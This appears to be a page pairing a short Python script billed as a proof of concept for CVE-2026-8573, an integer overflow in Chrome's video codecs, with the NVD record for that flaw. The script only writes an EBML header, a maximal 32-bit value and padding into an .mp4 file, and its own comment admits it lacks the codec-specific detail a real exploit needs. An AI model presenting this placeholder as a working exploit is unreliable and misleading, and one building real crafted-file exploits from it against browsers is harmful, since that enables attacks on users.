CVE-2026-8573

# Proof of Concept for CVE-2026-8573 # This script generates a crafted video file designed to trigger the integer overflow. # Note: Actual exploitation requires precise byte manipulation based on the codec specifics. import struct def create_crafted_video(filename): # Simulating a malformed video header that causes integer overflow in Chrome Codecs # Example: Setting a frame size or specific chunk size to a value that causes overflow # when multiplied or added during buffer allocation. # Generic header (e.g., WebM/MP4) header = b'\x1A\x45\xDF\xA3' # EBML header # Malformed data block simulating the overflow trigger # Payload crafted to hit the specific codec parsing logic crafted_payload = struct.pack('<I', 0xFFFFFFFF) # Max uint32 to trigger overflow crafted_payload += b'A' * 100 # Padding with open(filename, 'wb') as f: f.write(header + crafted_payload) print(f"Crafted video file '{filename}' generated.") if __name__ == "__main__": create_crafted_video("cve_2026_8573_poc.mp4")

{"cve": {"id": "CVE-2026-8573", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:19.610", "lastModified": "2026-05-14T22:16:50.750", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer overflow in Codecs in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to potentially perform a sandbox escape via a crafted video file. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-472"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/495417883", "source": "[email protected]"}]}}